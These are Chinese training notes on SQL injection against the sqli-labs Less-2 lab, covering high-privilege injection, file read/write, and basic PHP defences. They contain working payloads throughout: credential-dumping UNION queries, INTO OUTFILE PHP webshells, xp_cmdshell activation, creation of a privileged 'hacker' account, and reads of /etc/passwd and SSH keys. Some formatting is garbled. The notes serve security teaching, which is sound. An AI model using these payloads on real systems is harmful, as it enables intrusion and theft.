'UNIONSELECTusername,passwordFROMusers--注释:提取users表中的用户名和密码字段,常用于获取凭证信息。
6. 提取所有表的所有字段(联合查询)
'UNIONSELECTGROUP_CONCAT(table_name),NULLFROMINFORMATION_SCHEMA.TABLES--注释:使用GROUP_CONCAT将所有表名组合成一个字符串返回。
四、文件写入命令(需特定权限)
7. 写入WebShell(需root权限且secure_file_priv未限制)
' UNION SELECT '<?php eval($_POST["cmd"]);?>', NULL INTO OUTFILE '/var/www/html/shell.php'--注释:写入一句话木马到Web目录,secure_file_priv必须为''或网站根目录。注意:需root权限。
8. 写入文件(使用文件格式化选项)
' UNION SELECT '<?php eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY ''--注释:使用LINES TERMINATED BY ''避免添加额外字符,确保PHP代码完整。
五、系统命令执行命令
9. 执行系统命令(需xp_cmdshell权限,MSSQL)
'; EXEC xp_cmdshell 'whoami'--注释:在MSSQL中执行系统命令,需要xp_cmdshell已启用且用户有权限。
10. 启用xp_cmdshell(需sysadmin权限,MSSQL)
'; EXEC sp_configure 'showadvanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--注释:启用MSSQL的xp_cmdshell扩展存储过程,需要sysadmin权限。
六、权限提升命令
11. 提升权限(MSSQL)
'; EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1--注释:修改注册表设置以绕过某些安全限制,需要DB_OWNER或sysadmin权限。
12. 创建新用户(需DBA权限)
'; CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%';--注释:在MySQL中创建新用户并授予所有权限,需要GRANT OPTION权限。
七、权限检查命令
13. 检查当前用户权限
'UNIONSELECTCURRENT_USER(),ISNULL((SELECTCOUNT(*)FROMinformation_schema.user_privilegesWHEREgrantee=CURRENT_USER()),0)--注释:判断当前用户是否拥有GRANT OPTION权限,用于权限提升判断。
14. 检查secure_file_priv配置(MySQL)
'UNIONSELECT@@secure_file_priv,NULL--注释:检查MySQL的secure_file_priv配置,判断是否可以写入文件。
八、高级权限利用命令
15. 创建链接服务器(MSSQL)
'; EXEC sp_addlinkedserver 'L0op8ack', 'OLE DB ProviderforJet', 'Microsoft.Jet.OLEDB.4.0', 'C:\Windows\System32\ias\ias.mdb'--注释:创建链接服务器,需要sysadmin或setupadmin权限。
16. 通过链接服务器执行命令
'; SELECT * FROM OPENQUERY(L0op8ack, 'SELECTshell("cmd.exe /c whoami")')--注释:通过已创建的链接服务器执行系统命令,需要sysadmin权限。
九、权限相关安全建议
最小权限原则:数据库账户应仅授予完成工作所需的最小权限
-- 授予最小必要权限示例GRANTSELECT,INSERTONdatabase.tableTOapp_user@'%';禁止使用root账户:应用程序应使用专用账户,而非root或管理员账户
-- 创建专用应用账户CREATEUSER'app_user'@'%'IDENTIFIEDBY'strong_password';禁用危险功能:在MSSQL中禁用
xp_cmdshell-- 禁用xp_cmdshellEXECsp_dropextendedproc'xp_cmdshell';设置secure_file_priv:限制MySQL文件写入权限
-- 设置secure_file_priv为特定目录SETGLOBALsecure_file_priv='/var/www/html/';
重要提醒:SQL注入是严重安全漏洞,应通过以下方式防范:
- 使用参数化查询或预编译语句
- 严格验证和过滤所有用户输入
- 实施最小权限原则
- 定期进行安全审计和渗透测试
合法的安全测试必须获得明确授权,未经授权的测试可能触犯法律。
2.4 SQL注入之高权限注入下_笔记
一、高权限注入
00:03
1. 注入流程回顾
00:25
- 流程一致性:高权限注入流程与基础手工注入相同,都需要经过判断注入点、拆解字段数量、联合查询等步骤
- 权限验证:必须确认当前数据库用户为root权限才能进行跨库查询
- 系统库依赖:整个注入过程依赖information_schema系统库查询库名、表名和字段名
2. 登录靶场
00:46
1)注入第一步判断是否有注入点
00:58
- 传参测试:通过?id=1等参数测试是否存在注入点
- 源码查看:通过查看页面源码确认SQL语句执行情况
- 用户验证:使用user()函数确认当前数据库用户权限
2)判断完注入点后拆解数据库数量和字段数量
02:08
- 字段数量判断:使用order by 3确定查询返回的字段数量
- 回显点定位:通过union select 1,2,3确定页面回显位置
- 负值技巧:使用id=-1使原查询不返回结果,只显示注入内容
3)高权限注入查询所有数据库名称
02:48
- 系统库查询:通过information_schema.schemata表查询所有数据库名称
- group_concat使用:将多个数据库名称合并显示在一个字段中
- 权限验证:必须root权限才能查询所有数据库,普通用户只能查询当前数据库
4)查询数据库对应的表名
05:04
- 表名存储位置:通过information_schema.tables查询特定数据库下的表名
- 16进制编码:数据库名test需转换为0x74657374格式避免语法错误
- 精确查询:使用table_schema条件限定只查询指定数据库的表
5)查询表名对应的字段名
09:08
- 字段存储位置:通过information_schema.columns查询表字段信息
- 16进制应用:表名t1转换为0x7431进行查询
- 结果验证:查询结果应与实际表结构一致(id,name,pass三个字段)
6)查询数据
10:28
- 完整查询:使用"库名.表名"格式避免同名表混淆
- 字段选择:只查询需要的字段(name,pass)
- 结果验证:查询结果abc/22与数据库实际数据一致
3. 高权限注入总结
13:36
- 核心优势:root权限可实现跨库查询和文件读写操作
- 版本要求:MySQL 5.0以上版本才支持information_schema系统库
- 实战应用:90%以上现代系统使用高版本MySQL,均可采用此方法
- 安全建议:数据库应使用最小权限原则,避免使用root账户连接应用
- 权限验证流程:
- 先检查user表中的全局权限
- 如果为N则检查db表数据库权限
- 最后检查tables_priv和columns_priv表
- 权限表作用:
- user表:存储全局权限
- db表:存储数据库级别权限
- tables_priv:存储表级别权限
- columns_priv:存储字段级别权限
二、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 高权限注入概念 | 高权限用户(如root)可跨库查询或读写操作,需满足:1. 用户权限为root;2. MySQL版本需支持information_schema系统库(5.0以上)。 | 权限验证方法:通过user()函数确认当前用户权限;版本限制:低版本(<5.0)无系统库支持。 | ⭐⭐⭐ |
| 手工注入流程 | 1. 判断注入点(传参测试);2. 拆解字段数量(ORDER BY);3. 联合查询(UNION SELECT)获取回显位;4. 查询库名→表名→字段名→数据。 | 关键函数/表:information_schema.schemata(库名)、tables(表名)、columns(字段名);易错点:字段数量需匹配联合查询。 | ⭐⭐⭐⭐ |
| 跨库查询实战 | 通过高权限注入其他数据库(如test库):1. 查询库名→SELECT schema_name FROM information_schema.schemata;2. 查表名→SELECT table_name FROM information_schema.tables WHERE table_schema=0x…(16进制编码库名)。 | 16进制编码应用:库名/表名需转为16进制(如test→0x74657374);精确查询:需指定库名.表名避免多库同名表干扰。 | ⭐⭐⭐⭐ |
| 高权限读写操作 | 读文件:LOAD_FILE()函数读取服务器文件;写文件:INTO OUTFILE写入Web后门。前提:1. 绝对路径已知;2. 目录有写权限。 | 风险提示:实战中需注意文件权限和路径合法性;易混淆点:低权限用户无法使用读写功能。 | ⭐⭐⭐⭐⭐ |
| 高低版本差异 | 高版本(≥5.0):支持information_schema系统库;低版本(<5.0):无系统库,需盲注或暴力猜解。 | 实战趋势:现代系统多为高版本,低版本罕见但仍需了解。 | ⭐⭐ |
SQL注入之高权限注入
1.注入流程与上节实例相同
查询所有数据库名称
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata查询数据库对应的表名
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374查询表名对应的字段名
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431查询数据
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t12.4.2 高权限SQL注入逻辑整理
一、高权限SQL注入的核心概念
在数据库中,存在系统用户(高权限用户)与普通用户(低权限用户)的区别:
- 高权限系统用户:拥有整个数据库的操作权限,可以查看所有数据库,对服务器文件进行读写操作
- 普通用户:只拥有部分已配置的权限,通常只能访问单个数据库,可能无法进行文件读写
关键点:当获取到高权限用户(如root)权限时,不仅可以查看所有数据库,还可以对服务器文件进行读写操作,实现更全面的控制。
二、MySQL权限体系
MySQL权限验证遵循特定顺序,从高到低依次为:
- user表(全局权限):存放用户账户信息及全局级别权限
- db表(数据库级别权限):决定用户可以访问哪些数据库
- tables_priv表(表级别权限):决定用户可以访问哪些表
- columns_priv表(列级别权限):决定用户可以访问哪些列
权限验证流程:
- 先从
user表验证用户身份(Host, User, Password) - 通过验证后,按
user → db → tables_priv → columns_priv顺序检查权限 - 如果某级权限为Y,就不再检查下一级
三、高权限注入的关键步骤
1. 识别当前权限级别
首先确认当前注入点的权限级别:
SELECT*FROMuserWHEREuser='当前用户名'ANDhost='当前主机'\G;2. 获取高权限用户信息
如果当前是低权限用户,尝试获取高权限用户信息:
SELECTuser,host,passwordFROMmysql.userWHEREuser='root';3. 提升当前用户权限(如果可能)
如果当前用户有权限修改权限表,可以执行:
GRANTALLPRIVILEGESON*.*TO'当前用户名'@'当前主机'WITHGRANTOPTION;4. 获取高权限后进行的操作
- 查看所有数据库
- 读取服务器文件
- 写入Webshell
- 执行系统命令
四、注入代码解释
1. 查询所有数据库名称
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(schema_name),3 from information_schema.schemata-2:使原始查询条件为假,确保union后的结果成为唯一结果group_concat(schema_name):将所有数据库名连接成一个字符串information_schema.schemata:系统表,存储所有数据库信息- 效果:获取所有数据库名称
2. 查询指定数据库的表名
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374table_schema=0x74657374:0x74657374是"test"的十六进制表示group_concat(table_name):将表名连接成一个字符串- 效果:获取"test"数据库中的所有表名
3. 查询指定表的字段名
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7431table_name=0x7431:0x7431是"t1"的十六进制表示group_concat(column_name):将字段名连接成一个字符串- 效果:获取"t1"表中的所有字段名
4. 查询数据
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,name,pass from test.t1from test.t1:从"test"数据库的"t1"表中查询- 效果:获取"t1"表中的name和pass字段数据
五、高权限注入的关键区别
- 低权限用户:只能查询当前数据库(如test)的内容,无法查看其他数据库
- 高权限用户:可以查询所有数据库,执行文件操作(如
SELECT LOAD_FILE('/etc/passwd'))和写文件操作(如SELECT 'webshell内容' INTO OUTFILE '/var/www/html/shell.php')
六、高权限注入的实现步骤
- 确认当前权限:通过查询user表确定当前用户权限级别
- 获取高权限:
- 如果当前用户有权限,执行
GRANT ALL PRIVILEGES...提升权限 - 如果没有权限,尝试利用其他漏洞获取高权限
- 如果当前用户有权限,执行
- 获取高权限后操作:
- 查询所有数据库:
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata - 读取服务器文件:
SELECT LOAD_FILE('/etc/passwd') - 写入Webshell:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
- 查询所有数据库:
七、重要注意事项
- 权限提升限制:只有当前用户有
GRANT权限时,才能提升自身权限 - 文件操作限制:
LOAD_FILE()需要文件可读INTO OUTFILE需要secure_file_priv配置允许写入- 需要
FILE权限
- 安全防护:高权限SQL注入是严重安全漏洞,应通过以下方式防护:
- 使用参数化查询
- 限制数据库用户权限
- 定期更新数据库和应用
高权限SQL注入的核心在于获取到具有ALL PRIVILEGES权限的用户(通常是root),从而实现对数据库服务器的全面控制。在实际渗透测试中,获取高权限是进行进一步攻击的关键步骤。
2.5 SQL注入之文件读写_笔记
一、文件读写
00:05
1. 文件读写条件
05:20
1)MySQL文件读写权限配置
06:08
- 权限查看命令: 使用show global variables like '%secure%'查看MySQL全局变量配置
- 关键参数: secure_file_priv参数控制文件读写权限
- 文件读写权限配置
- 必要条件:
- 需要具备secure_file_priv权限
- 必须知道网站绝对路径
- Windows常见路径:
- Phpstudy: phpstudy/www
- Xampp: xampp/htdocs
- Wamp: wamp/www
- secure_file_priv参数详解
- 三种配置值:
- 空值: 如secure_file_priv=‘’,表示拥有绝对读写权限
- NULL: 表示禁止任何文件读写操作,即使是root权限也无法执行
- 指定路径: 如secure_file_priv=‘d:/phpstudy/mysql’,表示仅能对该路径下的文件进行读写
- 文件操作函数
- 读取函数: load_file()
- 写入函数:
- into outfile: 可写入多行,按格式输出
- into dumpfile: 只能写入一行且无格式输出
- 路径限制: outfile后面不能接0x开头或char转换的路径,必须使用单引号路径
- 配置文件位置
- Windows系统:
- 主配置文件为my.ini
- 在[mysqld]段中配置secure_file_priv参数
- Linux系统:
- 配置文件为/etc/my.cnf
- 同样在[mysqld]段中配置
- 注意事项
- 路径格式: MySQL中使用正斜杠/而非反斜杠\
- 权限验证: 即使拥有root权限,若secure_file_priv设为NULL也无法进行文件操作
- 路径限制: 当指定具体路径时,只能在该路径及其子目录下进行操作
二、文件读写
26:55
1. 路径的查询
27:17
- 常见方式:通过遗留文件、报错信息、平台配置文件等方式获取网站绝对路径
- 典型路径:
- Phpstudy:phpstudy/www 或 phpstudy/PHPTutorial/www
- Xampp:xampp/htdocs
- Wamp:wamp/www
- Appser:appser/www
- Linux系统:/var/mysql/data 或 /var/www/html
- 查询技巧:使用搜索引擎语法如inurl:phpinfo.php或inurl:edu.cn warning查找可能泄露路径的页面
2. 文件读写
27:54
1)写入文件
28:00
- 核心函数:
- load_file()\operatorname{load_file}()load_file()
:读取文件内容,常用于union查询字段 - into outfile\operatorname{into\ outfile}into outfile
:可写入多行并按格式输出 - into dumpfile\operatorname{into\ dumpfile}into dumpfile
:只能写入单行且无格式输出
- load_file()\operatorname{load_file}()load_file()
- 关键区别:
- 输出能力:outfile支持多行写入,dumpfile仅单行
- 格式控制:outfile保持格式,dumpfile无格式要求
- 路径限制:不能使用0x或char转换的路径,必须用单引号路径
- 例题:写入文件操作
28:39- 操作要点:
- 使用union select构造查询语句
- 在回显点位置插入写入内容
- 必须注释掉原查询尾部(如使用–+)
- 验证写入文件权限(secure_file_priv设置)
- 操作要点:
三、文件读写注入
28:53
1. 文件读写注入原理
- 本质:利用数据库高权限账户的文件操作能力
- 前提条件:
- 获取网站绝对路径
- 数据库账户具有FILE权限
- secure_file_priv参数无限制或允许目标目录
2. 文件写入函数
29:16
- 典型应用:
- 查看config.php获取数据库密码
- 读取apache配置文件
- 写入webshell后门文件
- 注意事项:
- Windows路径需使用双反斜杠或正斜杠
- 文件内容需避开特殊字符干扰
3. 文件路径
29:34
- 获取方式:
- 通过phpinfo等遗留文件
- 数据库报错信息
- 平台默认安装路径
- 搜索引擎批量查找
4. 应用案例
29:49
1)例题:文件写入操作
- 实战步骤:
- 确认注入点位置和回显字段
- 构造union select语句包含写入内容
- 指定into outfile目标路径
- 使用注释符处理原查询结尾
- 验证文件是否成功写入
- 典型错误:
- 路径格式不正确(缺少引号或转义符)
- 未处理原查询尾部导致语法错误
- 目标目录无写入权限
四、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 文件读写权限 | 高权限(root)是文件读写的前提条件,需配合secure_file_priv参数配置 | secure_file_priv三种状态:空值(完全权限)、NULL(无权限)、指定路径(限定权限) | ⭐⭐⭐ |
| 读取函数 | LOAD_FILE()函数实现文件读取,支持单引号或16进制路径格式 | 路径需用反斜杠转义,正斜杠会导致读取失败 | ⭐⭐ |
| 写入函数 | INTO OUTFILE/DUMPFILE实现文件写入,前者支持多行后者单行 | 写入需注释后续语句(–+)避免语法错误 | ⭐⭐⭐⭐ |
| 实战路径获取 | 通过报错信息/遗留文件(如phpinfo)/平台规范路径收集目标路径 | Windows常见路径:phpstudy/3w目录,Linux常见路径:/var/www/html | ⭐⭐⭐⭐ |
| 敏感信息定位 | 数据库配置文件(如config.php)、用户凭证文件(/etc/passwd)等高价值目标 | MySQL配置文件位置:Windows(my.ini) / Linux(/etc/my.cnf) | ⭐⭐⭐ |
| 防御绕过技巧 | 16进制编码路径绕过魔术引号过滤,双斜杠转义特殊字符 | 0x前缀的16进制路径需保持完整编码 | ⭐⭐⭐⭐ |
当然可以!以下是一份关于SQL注入之文件读写的详细笔记,以sqli-labs 的 Less-2 靶场为例进行讲解。内容涵盖原理、前提条件、利用方式、防御措施及实战示例,适合学习与复习。
2.5.1 SQL注入之文件读写笔记
——以 sqli-labs Less-2 为例
一、靶场环境说明(Less-2)
- 类型:基于数字型的 SQL 注入(无单引号包裹)
- URL 示例:
http://your-ip/sqli/Less-2/?id=1 - 后端 SQL 语句大致为:
其中SELECT*FROMusersWHEREid=$idLIMIT0,1;$id是直接拼接用户输入(未过滤),例如id=1→SELECT * FROM users WHERE id = 1
✅ 因此,Less-2 是一个典型的数字型 SQL 注入点,适合进行 UNION 查询、报错注入、盲注,以及文件读写操作。
二、SQL 文件读写基础原理
MySQL 提供了两个用于文件操作的函数:
| 函数 | 功能 |
|---|---|
LOAD_FILE(file_path) | 读取服务器上的文件(需满足权限和路径要求) |
INTO OUTFILE '/path/file'或INTO DUMPFILE '/path/file' | 将查询结果写入服务器文件 |
⚠️ 注意:这些功能仅在MySQL 服务具有相应文件系统权限且secure_file_priv 设置允许的情况下才能使用。
三、前提条件
1. 权限要求
- MySQL 用户需具备
FILE权限(可通过SELECT current_user(), @@version;+SHOW GRANTS;查看) - Web 应用连接数据库的账号通常不具备 FILE 权限,但在某些 CTF 或实验环境中会开放。
2. secure_file_priv 限制
- 查看配置:
SHOWVARIABLESLIKE'secure_file_priv';- 若返回
NULL:禁止所有文件导入导出。 - 若返回路径如
/var/www/html/:只能在此目录下读写。 - 若返回空字符串
'':可在任意路径读写(危险!)。
- 若返回
在 sqli-labs 环境中,通常设置为
''或/var/www/html/,便于练习。
四、文件读取(读敏感文件)
1. 基本语法
UNIONSELECT1,2,LOAD_FILE('/etc/passwd')--2. Less-2 实战示例
目标:读取 Linux 系统的/etc/passwd文件
Payload:
http://your-ip/sqli/Less-2/?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--💡 说明:
- 使用
-1使原查询无结果,避免干扰- 第3列用于显示文件内容(根据页面回显位置调整)
- 路径需使用绝对路径,且文件必须可读
3. 其他常见读取目标
/etc/shadow(需 root 权限,通常不可读)- Web 配置文件:
/var/www/html/config.php - SSH 密钥:
/root/.ssh/id_rsa - 日志文件(用于日志写 shell):
/var/log/apache2/access.log
🔒 注意:
LOAD_FILE()一次最多读取1MB数据,且不能读二进制文件(会乱码)。
五、文件写入(写 WebShell)
1. 写入语法
SELECT'<?php system($_GET["cmd"]); ?>'INTOOUTFILE'/var/www/html/shell.php';2. Less-2 实战示例
目标:在 Web 目录写入一句话木马
Payload(需闭合原语句并执行写入):
http://your-ip/sqli/Less-2/?id=1 UNION SELECT 1,2,'<?php @eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php'--⚠️ 注意:
- 必须确保写入路径在 Web 可访问目录(如
/var/www/html/)- 若
secure_file_priv限制为某目录,只能写入该目录INTO OUTFILE会覆盖同名文件,且不能写已存在文件(安全机制)
3. 写入技巧
使用十六进制绕过引号过滤(虽然 Less-2 不需要):
SELECT0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3eINTOOUTFILE'/var/www/html/shell.php';(对应
<?php system($_GET["cmd"]); ?>的 hex)使用
INTO DUMPFILE可写二进制文件(如图片马),但通常OUTFILE更常用。
六、验证写入是否成功
- 访问:
http://your-ip/shell.php - 使用蚁剑、冰蝎或直接 POST 请求测试:
curl-d"1=phpinfo();"http://your-ip/shell.php
七、防御措施
| 防御手段 | 说明 |
|---|---|
| 使用预编译(Prepared Statements) | 彻底杜绝 SQL 拼接 |
| 最小权限原则 | 数据库账号不授予 FILE 权限 |
设置secure_file_priv | 限制文件读写路径 |
| WAF / 输入过滤 | 拦截LOAD_FILE、INTO OUTFILE等关键字 |
| 禁用危险函数 | 在 php.ini 中禁用system、exec等(防 WebShell 执行) |
八、总结流程图
发现注入点(Less-2 数字型) ↓ 确认回显位(UNION SELECT 1,2,3) ↓ 检查 FILE 权限 & secure_file_priv ↓ 读取敏感文件(LOAD_FILE) ↓ 写入 WebShell(INTO OUTFILE) ↓ 连接 Shell,获取服务器控制权九、附:常用 Payload 汇总
| 目标 | Payload |
|---|---|
| 读 /etc/passwd | ?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- |
| 读 config.php | ?id=-1 UNION SELECT 1,2,LOAD_FILE('/var/www/html/config.php')-- |
| 写 Shell | ?id=1 UNION SELECT 1,2,'<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'-- |
| 查权限 | ?id=-1 UNION SELECT 1,2,GRANTS_FOR(current_user())--(需调整语法) |
| 查 secure_file_priv | ?id=-1 UNION SELECT 1,2,@@secure_file_priv-- |
💡 提示:在 Less-2 中,由于是数字型注入,无需闭合引号,直接拼接即可。
希望这份笔记能帮助你系统掌握SQL注入中的文件读写技术!建议在本地搭建 sqli-labs 环境动手实践,加深理解。
如需扩展到其他 Less(如 Less-1 单引号型、Less-5 报错注入等),也可参考类似思路调整 payload。
2.6 SQL注入之基础防御_笔记
一、SQL注入
00:00
1. 什么是SQL注入
- 定义: 通过构造特殊SQL语句,利用应用程序对用户输入数据过滤不严的漏洞,实现对数据库的非授权操作
- 关键要素:
- 需要网站使用数据库
- 用户输入被拼接到SQL语句中
- 输入数据未被充分过滤
2. SQL注入之MYSQL语句语法
00:26
- 文件读写函数:
- load_file(): 用于读取文件内容
- into outfile: 可写入多行,按格式输出
- into dumpfile: 只能写入一行且无格式
- 路径要求:
- 必须知道网站绝对路径
- Windows常见路径: phpstudy/www, xampp/htdocs等
- Linux常见路径: /var/www/html, /var/mysql/data等
- 获取方式: 报错显示、遗留文件、漏洞报错等
- 路径格式:
- 必须使用单引号包裹路径
- 路径中斜杠应为/而非\
- outfile后不能接0x或char转换的路径
- 防御手段:
- 魔术引号(Magic Quote)会自动转义特殊字符
- 建议在运行时根据需要转义而非编码时转义
3. SQL注入防御机制
- 魔术引号功能:
- 自动转义单引号(')、双引号(")、反斜线()和NULL字符
- 在php.ini中通过magic_quotes_gpc配置开关
- 配置建议:
- 建议设置为Off状态
- 原因: 影响程序移植性、增加性能开销
- PHP6已移除该功能
- 替代方案:
- 使用addslashes()函数手动转义
- 使用mysql_real_escape_string()等专用函数
- 配置位置:
- 在php.ini文件中修改magic_quotes_gpc值
- On表示开启转义功能
- Off表示关闭转义功能
- 实际影响:
- 开启时会在特殊字符前自动添加反斜线
- 可能导致文件读写操作失败(路径被转义)
- 防御效果有限,存在多种绕过方法
二、SQL注入之基础防御
02:02
1. 魔术引号
04:39
1)php.ini文件配置讲解
- 配置位置:在php.ini文件中找到magic_quotes_gpc参数进行设置
- 开关状态:
- On:开启魔术引号功能
- Off:关闭魔术引号功能
- 作用原理:自动对进入PHP脚本的数据进行转义,在特殊字符(如单引号、双引号、反斜杠等)前添加反斜杠
- 相关参数:
- magic_quotes_gpc:控制GET/POST/Cookie数据的转义
- magic_quotes_runtime:控制运行时生成数据的转义
- magic_quotes_sybase:控制Sybase风格转义(用两个单引号代替反斜杠)
2)应用案例
05:31
- 例题:GET传输路径错误问题处理
- 问题现象:当尝试通过GET方式传递文件路径参数时,系统报语法错误
- 错误分析:
- 魔术引号开启时,系统会自动在特殊字符前添加反斜杠
- 导致原本正确的文件路径被修改,如’d:/d.txt’变为’d:/d.txt’
- 修改后的路径不符合SQL语法规范,导致执行失败
- 解决方法:
- 关闭魔术引号功能(将magic_quotes_gpc设为Off)
- 重启Apache服务使配置生效
- 重新测试文件读取功能
- 服务操作:
- 停止Apache服务
- 修改php.ini配置文件
- 重新启动Apache服务
- 验证配置是否生效
2. 内置函数防御
1)数据类型判断
- 防御原理:在接收用户输入参数时,对数据类型进行严格校验
- 常用函数:
- is_int():检查变量是否为整数
- addslashes():手动添加反斜杠转义
- mysql_real_escape_string():MySQL专用转义函数
- str_replace():替换特定危险字符
- 实现方式:在$id参数接收后、SQL执行前添加类型检查逻辑
2)防御实现示例
- 关键修改点:在接收$id参数后添加类型检查
- 检查逻辑:
- 验证输入是否为纯数字
- 非数字输入直接拒绝处理
- 仅允许符合预期的输入进入SQL查询
- 优势:从根本上杜绝SQL注入的可能性
- 局限性:可能影响部分合法业务场景,需要根据实际情况调整
3. 内置函数
11:47
1)关键字过滤
19:07
- is_int()函数:
- 用于检测变量是否为整数类型,返回布尔值
- 示例:is_int(23)返回true,is_int(‘23’)返回false
- 注意:表单输入通常为字符串,需使用is_numeric()检测数字字符串
- 别名函数:is_integer()和is_long()
- 类型判断系列函数:
- is_array():判断是否为数组
- is_bool():判断是否为布尔类型
- is_double():判断是否为双精度浮点数
- 其他:is_binary(), is_buffer(), is_callable()等
- 应用场景:
- 对用户输入进行数据类型验证
- 防止SQL注入时判断输入是否为纯数字
- 示例:if(is_int($id)){执行SQL}
- 例题:关键字过滤应用19:45
- 类型强转技巧:
- 使用(int)强制转换:id=(int)id = (int)id=(int)_GET[‘id’]
- 效果:将字符串"1"转为整数1,非数字部分会被截断
- 注意:GET传输的数据默认都是字符串类型
- 防御机制:
- 结合is_int()和类型强转进行双重验证
- 非数字输入会触发else分支返回错误提示
- 示例错误信息:“你输入的数据不正经!”
2)str_replace()函数
21:14
- 函数功能:
- 查找替换字符串中的指定内容(区分大小写)
- 语法:str_replace(查找值, 替换值, 被搜索字符串)
- 二进制安全,可处理数组和字符串
- SQL关键字过滤:
- 将危险关键词替换为无害字符
- 示例:id=strreplace("select","mc",id = str_replace("select", "mc",id=strreplace("select","mc",_GET[‘id’])
- 效果:select被替换为mc导致SQL语法错误
- 例题:str_replace()函数应用22:09
- 实际应用:
- 防御联合查询注入:过滤union select等关键词
- 注意:需要构建完整的关键词库(select, insert, update等)
- 绕过方法:大小写变异、注释符分割等(后续讲解)
- 多层防御:
- 组合使用类型检查、关键字过滤和魔术引号
- 专业防护:WAF(Web应用防火墙)软件
- 典型产品:安全狗、宝塔等防护系统
三、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 文件高权限读写 | 讲解文件读取和写入操作中路径的重要性 | 路径格式的正反斜杠处理 | ⭐⭐⭐ |
| 魔术引号防御机制 | PHP自带函数对单引号/双引号/斜杠自动添加反斜杠 | magic_quotes_gpc配置项的开关影响 | ⭐⭐⭐⭐ |
| 内置函数过滤 | is_int()判断数据类型、str_replace()过滤关键字 | 数据类型强制转换的防御绕过 | ⭐⭐⭐⭐ |
| 安全软件防护 | WAF/安全狗/宝塔等安全软件的防御原理 | 商业级防护与基础防御的差异 | ⭐⭐⭐⭐⭐ |
| SQL注入路径特性 | 文件读写操作必须依赖准确路径 | 单引号在路径构造中的关键作用 | ⭐⭐⭐ |
| 防御手段对比 | 魔术引号 vs 内置函数 vs 安全软件 | 各类防御措施的优缺点分析 | ⭐⭐⭐⭐ |
2.7 sqli-labs安装常见问题_笔记
一、SQL注入之WAF绕过
00:02
1. SQL注入基础入门
1)SQL注入之sqli-labs环境搭建
00:18
- Sqli-labs环境安装
环境需求:需要搭建
Apache+MySQL+PHPApache + MySQL + PHPApache+MySQL+PHP
环境,推荐使用PHPStudy集成环境工具获取:
- GitHub项目地址:https://github.com/Audi1/sqlilabs
版本选择:
- sqli-labs-for7.zip:兼容PHP7+版本,无需降级
- sqli-labs-master.zip:原版,需将PHP版本降至3.2/3.3
安装步骤:
- 解压phpStudy安装包并运行phpstudy_x64.exe
- 选择"自定义安装"到非C盘路径
- 安装完成后启动Apache和MySQL服务
- 将sqli-labs源码解压到网站根目录
常见问题:
- 错误提示:“Unable to connect to the database: security”
- 解决方法:必须首先访问Setup/reset Database for labs页面初始化数据库
- 初始化效果:会自动创建名为security的数据库及所需数据表
环境验证:
- 确保Apache和MySQL服务正常运行
- 访问localhost/sqli-labs-master/应显示关卡选择页面
- 成功初始化后,选择Less-1应显示ID输入提示而非数据库错误
二、安装时的问题
04:22
- 关键提醒:
- 安装前需卸载已有MySQL服务避免冲突
- 安装路径不能包含中文或空格
- 必须记住phpStudy的安装目录
- 首次使用必须执行数据库初始化操作
- 版本兼容性:
- 推荐新手使用for7版本减少环境配置
- 两个版本功能完全一致,仅PHP兼容性不同
三、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| Super Labs环境搭建 | 需准备PHP环境、Apache服务器,推荐使用PHPStudy工具包,包含源码和安装包(已上传百度云) | 注意区分server-labs-master(需降PHP版本至3.2/3.3)和server-labs-for7(兼容PHP7+) | ⭐⭐ |
| 数据库初始化问题 | 启动靶场前需点击"Setup/reset database for labs"创建数据库,否则报错auto connection to the database failed | 错误表现为关卡无法正常加载(应显示ID输入框) | ⭐⭐ |
| 工具包使用说明 | PHPStudy压缩包解压即用;源码分新旧两版,功能一致但PHP版本要求不同 | 新版(for7)免降级,旧版需调整PHPStudy配置 | ⭐ |